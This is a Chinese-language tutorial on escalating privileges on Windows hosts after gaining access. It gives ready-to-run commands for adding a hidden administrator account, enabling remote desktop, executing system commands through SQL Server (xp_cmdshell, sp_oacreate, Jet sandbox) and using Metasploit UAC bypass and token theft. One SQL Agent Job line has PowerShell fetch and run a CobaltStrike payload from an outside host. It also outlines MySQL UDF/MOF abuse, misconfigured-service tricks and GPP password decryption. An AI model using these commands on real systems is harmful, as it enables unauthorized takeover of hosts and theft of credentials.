當獲取主機權限時,我們總是希望可以將普通用戶提升為管理員用戶,以便獲得高權限完全控制目標主機。Windows常用的提權方式有:內核提權、數據庫提權、系統配置錯誤提權、組策略首選項提權、Bypass UAC提權、令牌竊取提權等姿勢。
1、內核溢出漏洞提權
由於目標系統沒有及時安裝補丁,攻擊者可以利用Windows系統內核溢出漏洞進行提權,輕易獲取system權限。
(1)通過systeminfo比對KB編號,發現系統是否存在漏洞。
github項目地址:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
(2)找到對應漏洞的exp執行,獲取system權限
github項目地址:
https://github.com/SecWiki/windows-kernel-exploits
(3)添加管理員
net user 用戶名 密碼 /add
net localgroup Administrators 用戶名 /add
(4)開啟遠程桌面
# 開啟遠程 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f # 查詢遠程端口 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2、數據庫提權
2.1 MySQL提權
利用mysql的幾種提權方式,如udf提權、mof提權、啟動項提權等。
udf提權:通過創建用戶自定義函數,對mysql功能進行擴充,可以執行系統任意命令,將mysql賬號root轉化為系統system權限。 mof提權:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要我們將我們先要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。 啟動項提權:將后面腳本上傳到系統啟動目錄,當服務器重啟就會自動執行該腳本,從而獲取系統權限。
2.2 SQL Server 提權
利用SQL Sercer執行系統命令的方式也有多種,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR來提權。
1、使用xp_cmdshell進行提權
# 啟用xp_cmdshell EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE; # 通過xp_cmdshell執行系統命令 Exec master.dbo.xp_cmdshell 'whoami'
2、SP_OACREATE
# 開啟組件 EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; # 執行系統命令(無回顯) declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'
3、通過沙盒執行命令
# 開啟沙盒 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 # 利用jet.oledb執行命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
4、通過Agent Job執行命令
修改開啟Ageent Job,執行無回顯CobaltStrike生成powershell上線
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
3、系統配置錯誤提權
3.1 權限配置錯誤
如果管理員權限配置錯誤,將導致低權限用戶對高權限運行的文件擁有寫入權限,那么低權限用戶就可以替換成惡意后門文件,獲取系統權限。一般在啟動項、計划任務,服務里查找錯誤配置,嘗試提權。
3.2 可信任服務路徑漏洞
當一個服務的可執行文件路徑含有空格,卻沒有使用雙引號引起來,那么這個服務就存在漏洞。根據優先級,系統會對文件路徑中空格的所有可能進行嘗試,直到找到一個匹配的程序。
3.3 不安全的注冊表權限配置
如果低權限用戶對程序路徑所對應的鍵值有寫權限,那么就可以控制這個服務,運行后門程序,從而獲取權限。
# 存儲Windows服務有關的信息
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
# 服務對應的程序路徑存儲
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服務名\ImagePath
3.4 AlwaysInstallElevated
注冊表鍵AlwaysInstallElevated是一個策略設置項。windows允許低權限用戶以System權限運行安裝文件。如果啟用此策略設置項,那么任何權限用戶都能以NT AUTHORITY\SYSTEM權限來安裝惡意的MSI(Microsoft Windows Installer)文件。
4、組策略首選項提權
SYSVOL是域內的共享文件夾,用來存放登錄腳本、組策略腳本等信息。當域管理員通過組策略修改密碼時,在腳本中引入用戶密碼,就可能導致安全問題。
(1)訪問SYSVOL共享文件夾,搜索包含“cpassword”的XML文件,獲取AES加密的密碼。
(2)使用kali自帶的gpp-decrypt進行破解
5、Bypass UAC提權
UAC(User Account Control,用戶賬號控制),是微軟引入的一種安全機制。Bypass UAC提權,可以將管理員權限提升到system權限。
使用msf模塊:
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac meterpreter > getuid meterpreter > getsystem
6、令牌竊取提權
通過竊取令牌獲取管理員權限,在MSF中,可以使用incognito實現token竊取。
meterpreter > use incognito #進入incognito模塊 meterpreter > list_tokens -u #列出令牌 meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #模擬令牌